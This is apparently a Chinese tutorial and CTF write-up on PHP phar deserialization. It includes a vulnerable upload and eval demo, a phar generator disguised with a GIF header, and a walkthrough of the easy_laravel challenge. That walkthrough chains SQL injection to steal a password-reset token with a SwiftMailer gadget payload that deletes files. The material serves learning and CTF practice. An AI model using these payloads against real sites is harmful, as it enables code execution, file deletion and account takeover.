前言

pharphp 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作。

利用条件

  • phar 文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板” (php 反序列化漏洞的 pop 链)。
  • 文件操作函数的参数可控,且 :/phar 等特殊字符没有被过滤。

Demo

测试代码

测试代码如下

upload_file.php

  1. <?php
  2. if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
  3. echo "Upload: " . $_FILES["file"]["name"];
  4. echo "Type: " . $_FILES["file"]["type"];
  5. echo "Temp file: " . $_FILES["file"]["tmp_name"];
  6. if (file_exists("upload_file/" . $_FILES["file"]["name"]))
  7. {
  8. echo $_FILES["file"]["name"] . " already exists. ";
  9. }
  10. else
  11. {
  12. move_uploaded_file($_FILES["file"]["tmp_name"],
  13. "upload_file/" .$_FILES["file"]["name"]);
  14. echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
  15. }
  16. }
  17. else
  18. {
  19. echo "Invalid file,you can only upload gif";
  20. }

实现了一个简单的上传功能,只允许上传 .gif 文件。

file_un.php

  1. <?php
  2. $filename=$_GET['filename'];
  3. class AnyClass{
  4. var $output = 'echo "ok";';
  5. function __destruct()
  6. {
  7. eval($this -> output);
  8. }
  9. }
  10. file_exists($filename);

这里定义了一个类,在 __destruct 方法中会调用 eval 来执行类属性中的代码。

file_exists 的参数我们可控,所以可以通过 phar 来反序列化 AnyClass , 进而实现 代码执行。

利用步骤

首先构造一个 phar文件并上传到服务器

  1. <?php
  2. class AnyClass{
  3. var $output = 'echo "ok";';
  4. function __destruct()
  5. {
  6. eval($this->output);
  7. }
  8. }
  9. $phar = new Phar('phar.phar');
  10. $phar->startBuffering();
  11. $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
  12. $phar->addFromString('test.txt','test'); //添加要压缩的文件
  13. $object = new AnyClass();
  14. $object->output = 'phpinfo();';
  15. $phar->setMetadata($object); //将自定义meta-data存入manifest
  16. $phar->stopBuffering();
  17. ?>

然后把 phar.phar 上传

最后访问 file_un.php, 使用 phar:// 来触发反序列化。

护网杯 easy_laravel

测试环境位于

  1. https://github.com/sco4x0/huwangbei2018_easy_laravel

首先使用

  1. php artisan route:list

看看程序中的控制器

发现控制器基本都需要登录才能访问,其中有些控制器更是需要 admin 权限。

app/Http/Middleware/AdminMiddleware.php 里面定义了 admin 权限判断的代码

  1. class AdminMiddleware
  2. {
  3. public function __construct(Guard $auth)
  4. {
  5. $this->auth = $auth;
  6. }
  7. public function handle($request, Closure $next)
  8. {
  9. if ($this->auth->user()->email !== 'admin@qvq.im') {
  10. return redirect(route('error'));
  11. }
  12. return $next($request);
  13. }
  14. }

当用户注册邮箱为 admin@qvq.im 就有 admin 权限。

当权限后可以访问 flag 获取 flag

  1. class FlagController extends Controller
  2. {
  3. public function __construct()
  4. {
  5. $this->middleware(['auth', 'admin']);
  6. }
  7. public function showFlag()
  8. {
  9. $flag = file_get_contents('/th1s1s_F14g_2333333');
  10. return view('auth.flag')->with('flag', $flag);
  11. }
  12. }

首先我们现在要做的就是想办法获取 admin 权限。尝试注册 admin@qvq.im 发现已经被注册,不能重复注册。然后去代码里看看有没有其他漏洞。

最后发现在 NoteController 存在 sql 注入

  1. class NoteController extends Controller
  2. {
  3. public function __construct()
  4. {
  5. $this->middleware('auth');
  6. }
  7. public function index(Note $note)
  8. {
  9. $username = Auth::user()->name;
  10. $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
  11. return view('note', compact('notes'));
  12. }
  13. }

取我们注册时用的用户名插入到 sql 语句里面造成注入。

表的结构可以看 database/migrations/ 。首先用 order by 语句测试发现列数为 5. 然后 union 查询

发现密码用 bcrypt 做的 hash , 而且是 40 字节的随机字符串。所以密码是没办法爆破了。

程序中还有重置密码的功能,于是可以通过注入获取重置 admin@qvq.im 需要的 token

然后访问

  1. http://192.168.245.128/password/reset/f663eb2c795b7d95c91941f9a75934957846114169692d822b9e13737694a72b

admin@qvq.im 的密码重置掉。

然后就可以登录到 admin 界面

访问 /flag 发现没有按照控制器中的代码一样打印出 /th1s1s_F14g_2333333 的内容。

因为旧的缓存存在,导致我们看不到 flag , 我们需要删掉缓存文件, 然后就可以读到 flag

缓存文件位于

  1. public function getCompiledPath($path)
  2. {
  3. return $this->cachePath.'/'.sha1($path).'.php';
  4. }

通过

知道使用了nginx 的默认配置,那么 flag 文件的完整路径就是

  1. /usr/share/nginx/html/resources/views/auth/flag.blade.php

经过 sha1 后得到 34e41df0934a75437873264cd28e2d835bc38772.php

所以现在的思路就是

  • 删掉 34e41df0934a75437873264cd28e2d835bc38772.php
  • 然后访问 /flag , 获取 flag

在 UploadController 里,可以注入 phar 导致反序列化

  1. class UploadController extends Controller
  2. {
  3. public function __construct()
  4. {
  5. $this->middleware(['auth', 'admin']);
  6. $this->path = storage_path('app/public');
  7. }
  8. public function index()
  9. {
  10. return view('upload');
  11. }
  12. public function upload(UploadRequest $request)
  13. {
  14. $file = $request->file('file');
  15. if (($file && $file->isValid())) {
  16. $allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
  17. $ext = $file->getClientOriginalExtension();
  18. if(in_array($ext, $allowed_extensions)){
  19. $file->move($this->path, $file->getClientOriginalName());
  20. Flash::success('上传成功');
  21. return redirect(route('upload'));
  22. }
  23. }
  24. Flash::error('上传失败');
  25. return redirect(route('upload'));
  26. }
  27. public function files()
  28. {
  29. $files = array_except(Storage::allFiles('public'), ['0']);
  30. return view('files')->with('files', $files);
  31. }
  32. public function check(Request $request)
  33. {
  34. $path = $request->input('path', $this->path);
  35. $filename = $request->input('filename', null);
  36. if($filename){
  37. if(!file_exists($path . $filename)){
  38. Flash::error('磁盘文件已删除,刷新文件列表');
  39. }else{
  40. Flash::success('文件有效');
  41. }
  42. }
  43. return redirect(route('files'));
  44. }
  45. }

check 函数取了两个参数拼接成路径传给了 file_exists 函数, 而且 upload 可以进行上传。

所以我们可以通过 phar 来进行反序列化。

全局搜一下unlink,在Swift_ByteStream_TemporaryFileByteStream的析构函数中存在unlink方法

于是利用这个类来反序列化,删掉模板文件即可。

  1. <?php
  2. class Swift_ByteStream_AbstractFilterableInputStream {
  3. /**
  4. * Write sequence.
  5. */
  6. protected $sequence = 0;
  7. /**
  8. * StreamFilters.
  9. *
  10. * @var Swift_StreamFilter[]
  11. */
  12. private $filters = [];
  13. /**
  14. * A buffer for writing.
  15. */
  16. private $writeBuffer = '';
  17. /**
  18. * Bound streams.
  19. *
  20. * @var Swift_InputByteStream[]
  21. */
  22. private $mirrors = [];
  23. }
  24. class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
  25. /** The internal pointer offset */
  26. private $_offset = 0;
  27. /** The path to the file */
  28. private $_path;
  29. /** The mode this file is opened in for writing */
  30. private $_mode;
  31. /** A lazy-loaded resource handle for reading the file */
  32. private $_reader;
  33. /** A lazy-loaded resource handle for writing the file */
  34. private $_writer;
  35. /** If magic_quotes_runtime is on, this will be true */
  36. private $_quotes = false;
  37. /** If stream is seekable true/false, or null if not known */
  38. private $_seekable = null;
  39. /**
  40. * Create a new FileByteStream for $path.
  41. *
  42. * @param string $path
  43. * @param bool $writable if true
  44. */
  45. public function __construct($path, $writable = false)
  46. {
  47. $this->_path = $path;
  48. $this->_mode = $writable ? 'w+b' : 'rb';
  49. if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
  50. $this->_quotes = true;
  51. }
  52. }
  53. /**
  54. * Get the complete path to the file.
  55. *
  56. * @return string
  57. */
  58. public function getPath()
  59. {
  60. return $this->_path;
  61. }
  62. }
  63. class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
  64. public function __construct() {
  65. $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
  66. parent::__construct($filePath, true);
  67. }
  68. public function __destruct() {
  69. if (file_exists($this->getPath())) {
  70. @unlink($this->getPath());
  71. }
  72. }
  73. }
  74. $obj = new Swift_ByteStream_TemporaryFileByteStream();
  75. $p = new Phar('./1.phar', 0);
  76. $p->startBuffering();
  77. $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
  78. $p->setMetadata($obj);
  79. $p->addFromString('1.txt','text');
  80. $p->stopBuffering();
  81. rename('./1.phar', '1.gif');
  82. ?>

把生成的文件改成图片后缀上传上去, 会保存到 storage/app/public/ 目录, 然后用 phar 反序列化

然后在 访问 /flag 获取 flag

参考

  1. https://xz.aliyun.com/t/2715#toc-8
  2. https://www.anquanke.com/post/id/161849#h2-3
  3. https://xz.aliyun.com/t/2912#toc-1
  4. http://www.venenof.com/index.php/archives/565/

phar 反序列化学习的更多相关文章

  1. PHP Phar反序列化学习

    PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...

  2. 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路

    概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

  3. php phar反序列化任意执行代码

    2018年 原理一.关于流包装stream wrapper大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://例如常见的有include('php:// ...

  4. Natas33 Writeup(Phar反序列化漏洞)

    Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...

  5. PHP序列化与反序列化学习

    序列化与反序列化学习 把对象转换为字节序列的过程称为对象的序列化:把字节序列恢复为对象的过程称为对象的反序列化. <?php class UserInfo { public $name = &q ...

  6. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  7. PHP中关于Phar的学习

    什么是phar 一个PHP程序往往是由多个文件组成的,如果能够集中为一个文件来分发和运行是很方便的.phar便应运而生.大概跟java的jar文件是差不多类似的.但是php的phar文件是可以由php ...

  8. weblogic-CVE-2020-2551-IIOP反序列化学习记录

    CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...

  9. 从零开始的pickle反序列化学习

    前言 在XCTF高校战疫之中,我看到了一道pickle反序列化的题目,但因为太菜了花了好久才做出来,最近正好在学flask,直接配合pickle学一下. 找了半天终于找到一个大佬,这里就结合大佬的文章 ...

随机推荐

  1. 【原创】手动导入SQLServer数据到SQLCE方法

    我找到一个工具,可以很容易把SQLServer里的数据导入到SQLCE: 工具名:Export2SqlCe.exe, 下载路径: http://exportsqlce.codeplex.com/rel ...

  2. nodejs结合apiblue实现MockServer

    apiblue功能很强大,里面支持很多插件,这些插件能够为restfulAPI提供接口文档自动生成,甚至Mockserver的功能,当然,好多插件还是有很多坑的.下面用apiblue实现下面的业务需求 ...

  3. Java reflect 反射学习笔记

    1. class 类的使用 万事万物皆对象 (基本数据类型, 静态成员不是面向对象), 所以我们创建的每一个类都是对象, 即类本身是java.lang.Class类的实例对象, 但是这些对象不需要 n ...

  4. Installation failed with message...It is possible that this issue is resolved by uninstalling an existing version of the apk if it is present, and then re-installing.

    错误弹窗如图: Installation failed with message Failed to finalize session: INSTALL_FAILED_TEST_ONLY:instal ...

  5. JavaScript初探一

    <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <m ...

  6. JAVA+SELENIUM+MAVEN+TESTNG框架(二)新建项目

    1.新建maven项目 2.下载selenium的jar包,放入maven依赖库中 3.新增testng依赖库,build path->add libirary->testng 4.查看自 ...

  7. 18-hadoop-weather案例

    weather案例, 简单分析每年的前三个月的最高温即可, 使用自定义的分组和排序 设计分析 设定多个reduce 每年的数据都很多,如果按照默认情况处理,统计性能是非常慢(因为默认只有一个reduc ...

  8. 浅析Session和Cookie

    Cookie   Cookie的作用,就是当一个用户通过http访问一个服务器时,这个服务器会将一些key/value键值对返回给客户端浏览器,并给这些数据加上一些限制条件,在条件符合时这个用户访问该 ...

  9. *2 FastCGI sent in stderr: "PHP message: PHP Parse error: syntax error, unexpected '[' in /application/nginx-1.6.3/html/zabbix/index.php on line 32" while reading response header from upstream, clien

    今天呢想学习一下zabbix监控一下我的服务情况,然后就开始安装我的zabbix服务,首先LNMP环境准备好了,Nginx版本为1.6.3,php版本为5.3.27,MySQL版本为二进制包安装的5. ...

  10. Linux下Nginx访问web目录提示403Forbidden

    在Linux下http服务器nginx时,访问web目录提示403 Forbidden,首先需要了解nginx出现403错误是什么意思: 403 Forbidden表示你在请求一个资源文件但是ngin ...